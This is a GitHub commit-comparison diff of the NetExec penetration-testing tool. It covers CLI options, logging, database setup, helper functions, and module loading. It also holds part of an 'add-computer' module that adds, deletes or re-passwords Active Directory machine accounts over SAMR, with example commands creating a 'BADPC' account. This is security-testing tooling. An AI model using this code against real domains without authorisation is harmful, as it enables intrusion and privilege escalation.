Compare commits

..
190 changed files with 2792 additions and 5709 deletions

No files matched your search

+2 -2
View File
@@ -1,3 +1,5 @@
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
---
name: Bug report
about: Create a report to help us improve
@@ -7,8 +9,6 @@ assignees: ''
---
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
**Describe the bug**
-2
View File
@@ -63,5 +63,3 @@ Awesome code contributors of NetExec:
[![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
[![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
-2
View File
@@ -19,7 +19,6 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certipy',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
@@ -49,7 +48,6 @@ a = Analysis(
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pefile',
'pypsrp.client',
'pylnk3',
'pypykatz',
+12 -13
View File
@@ -24,22 +24,21 @@ def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "Yippie-Ki-Yay"
CODENAME = "SmoothOperator"
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
log_level = output_group.add_mutually_exclusive_group()
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
@@ -61,7 +60,7 @@ def gen_cli_args():
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
For documentation and usage examples, visit: https://www.netexec.wiki/
{highlight('Version', 'red')} : {highlight(VERSION)}
@@ -74,17 +73,17 @@ def gen_cli_args():
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules")
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication")
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
@@ -95,13 +94,13 @@ def gen_cli_args():
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate Authentication")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
+1 -1
View File
@@ -37,7 +37,7 @@ audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+6 -13
View File
@@ -135,8 +135,6 @@ class connection:
self.db = db
self.logger = nxc_logger
self.conn = None
self.output_file_template = None
self.output_filename = None
# Authentication info
self.password = ""
@@ -161,6 +159,11 @@ class connection:
self.local_ip = None
self.dns_server = self.args.dns_server
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
@@ -171,12 +174,10 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.info(f"Socket info: host={self.host}, port={self.port}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -242,14 +243,6 @@ class connection:
else:
self.logger.debug("Created connection object")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
-1
View File
@@ -6,7 +6,6 @@ audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
[BloodHound]
bh_enabled = False
Binary file not shown.
+21 -39
View File
@@ -6,15 +6,13 @@ from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import Table, create_engine, MetaData, func
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy import create_engine, MetaData, func
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
@@ -59,15 +57,25 @@ def init_protocol_dbs(workspace_name, p_loader=None):
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
db_engine = create_db_engine(proto_db_path)
protocol_object.database.db_schema(db_engine)
db_engine.dispose()
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def create_workspace(workspace_name, p_loader=None):
@@ -102,7 +110,7 @@ def initialize_db():
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
@@ -119,8 +127,8 @@ def format_host_query(q, filter_term, HostsTable):
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
@@ -128,7 +136,7 @@ def format_host_query(q, filter_term, HostsTable):
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
@@ -151,32 +159,6 @@ class BaseDB:
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def reflect_table(self, table):
with self.db_engine.connect():
try:
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
# Check for column addition / deletion
reflected_columns = set(reflected_table.columns.keys())
orm_columns = {column.name for column in table.__table__.columns}
if reflected_columns != orm_columns:
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
# Check for constraint changes
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
if reflected_constraints != orm_constraints:
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
return reflected_table
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
nxc_logger.debug(e)
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
nxc_logger.fail(f"Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)")
nxc_logger.fail(f"Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB")
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
-15
View File
@@ -24,18 +24,3 @@ class DefaultTrackingAction(Action):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
+8 -9
View File
@@ -4,7 +4,6 @@ import struct
import uuid
from datetime import datetime
from nxc.logger import nxc_logger
class Substitution:
@@ -46,7 +45,7 @@ class Substitution:
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
nxc_logger.display(f"Unknown value type {hex(value.type)}")
print("Unknown value type", hex(value.type))
class Value:
@@ -71,7 +70,7 @@ class Attribute:
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
self.length = 1 + self._name.length + self._value.length
@@ -124,7 +123,7 @@ class Element:
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
print("Unknown intern next_token", hex(next_token), hex(ofs))
break
self._children.append(element)
@@ -136,7 +135,7 @@ class Element:
ofs += 1
break
else:
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
print("Unknown element next_token", hex(next_token), hex(ofs))
break
self.length = ofs - offset
@@ -146,11 +145,11 @@ class Element:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
@@ -182,7 +181,7 @@ class TemplateInstance:
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
nxc_logger.display(f"Unknown template token {hex(next_token)}")
print("Unknown template token", hex(next_token))
def xml(self, template=None):
return self._xml.xml(self)
@@ -197,7 +196,7 @@ class BinXML:
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
print("Unknown binxml token", hex(next_token))
self.length = 4 + self._element.length
+1 -97
View File
@@ -1,13 +1,10 @@
from enum import Enum
import random
import string
import re
import inspect
import os
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
from time import strftime, gmtime
def identify_target_file(target_file):
@@ -149,96 +146,3 @@ def detect_if_ip(target):
except Exception:
return False
def d2b(a):
"""
Function used to convert password property flags from decimal to binary
format for easier interpretation of individual flag bits.
"""
tbin = []
while a:
tbin.append(a % 2)
a //= 2
t2bin = tbin[::-1]
if len(t2bin) != 8:
for _x in range(6 - len(t2bin)):
t2bin.insert(0, 0)
return "".join([str(g) for g in t2bin])
def convert(low, high, lockout=False):
"""
Convert Windows FILETIME (64-bit) values to human-readable time strings.
Windows stores time intervals as 64-bit values representing 100-nanosecond
intervals since January 1, 1601. This function converts these values to
readable format like "30 days 5 hours 15 minutes".
Args:
low (int): Low 32 bits of the FILETIME value
high (int): High 32 bits of the FILETIME value
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
Returns:
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
special values like "Not Set", "None", or "[-] Invalid TIME"
"""
time = ""
tmp = 0
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
return "Not Set"
if low == 0 and high == 0:
return "None"
if not lockout:
if low != 0:
high = abs(high + 1)
else:
high = abs(high)
low = abs(low)
tmp = low + (high << 32) # convert to 64bit int
tmp *= 1e-7 # convert to seconds
else:
tmp = abs(high) * (1e-7)
try:
minutes = int(strftime("%M", gmtime(tmp)))
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp))) - 1
except ValueError:
return "[-] Invalid TIME"
if days > 1:
time += f"{days} days "
elif days == 1:
time += f"{days} day "
if hours > 1:
time += f"{hours} hours "
elif hours == 1:
time += f"{hours} hour "
if minutes > 1:
time += f"{minutes} minutes "
elif minutes == 1:
time += f"{minutes} minute "
return time
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
if args.list_modules and args.list_modules.lower() != category.name.lower():
continue
if len([module for module in modules.values() if module["category"] == category]) > 0:
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
for name, props in sorted(modules.items()):
if props["category"] == category:
nxc_logger.display(f"{name:<25} {props['description']}")
class CATEGORY(Enum):
ENUMERATION = "Enumeration"
CREDENTIAL_DUMPING = "Credential Dumping"
PRIVILEGE_ESCALATION = "Privilege Escalation"
+1 -1
View File
@@ -31,4 +31,4 @@ def parse_challenge(challange):
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
return target_info
+4 -4
View File
@@ -129,8 +129,8 @@ class myPKINIT(PKINIT):
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
print("Generating DH params...")
print("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
@@ -488,8 +488,8 @@ def pfx_auth(self):
return None
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
-5
View File
@@ -8,7 +8,6 @@ from os.path import dirname
from os.path import join as path_join
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
@@ -31,9 +30,6 @@ class ModuleLoader:
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
self.logger.fail(f"{module_path} missing the category variable or invalid category")
module_error = True
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
@@ -96,7 +92,6 @@ class ModuleLoader:
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"category": module_spec.category,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
+1 -10
View File
@@ -101,12 +101,7 @@ class NXCAdapter(logging.LoggerAdapter):
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("certipy").disabled = True
logging.getLogger("aardwolf").disabled = True
logging.getLogger("unicrypto").disabled = True
logging.getLogger("asyncio").setLevel(logging.ERROR)
logging.getLogger("neo4j").setLevel(logging.ERROR)
logging.getLogger("pypsrp").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs):
"""Format msg for output
@@ -180,11 +175,7 @@ class NXCAdapter(logging.LoggerAdapter):
file_creation = False
if not os.path.isfile(output_file):
try:
open(output_file, "x") # noqa: SIM115
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
-2
View File
@@ -1,7 +1,6 @@
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,7 +13,6 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
+130 -99
View File
@@ -3,13 +3,12 @@ import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
@@ -17,7 +16,6 @@ class NXCModule:
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -30,6 +28,9 @@ class NXCModule:
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
@@ -58,30 +59,48 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__aesKey = connection.aesKey
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = connection.nthash
self.__lmhash = connection.lmhash
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
# First try to add via SAMR over SMB
self.do_samr_add()
self.do_samr_add(context)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add()
self.do_ldaps_add(connection, context)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
def do_samr_add(self):
"""Connects to a target server and performs various operations related to adding or deleting machine accounts."""
Args:
----
context (object): The context object.
Returns:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
@@ -102,41 +121,39 @@ class NXCModule:
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
# Get the list of domains
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'")
self.context.log.fail("Available domain(s):")
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
for domain in domains:
self.context.log.fail(f" * {domain['Name']}")
context.log.highlight(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
self.context.log.debug(f"Opening domain {selected_domain}...")
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
# Get handle for existing computer account
if self.__noAdd or self.__delete:
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}")
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
else:
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
return
context.log.exception(e)
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
@@ -144,68 +161,72 @@ class NXCModule:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrOpenUser failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}")
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.noLDAPRequired = True
else:
self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}")
return
# Add computer account
context.log.exception(e)
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"')
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
return
try:
user_handle = samr.hSamrCreateUser2InDomain(
create_user = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)["UserHandle"]
)
self.noLDAPRequired = True
self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'")
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrCreateUser2InDomain failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}")
return
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account")
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired = True
# Removing the machine account in the DB
user = self.context.db.get_user(self.__domain, self.__computerName)
user_ids = [row[0] for row in user]
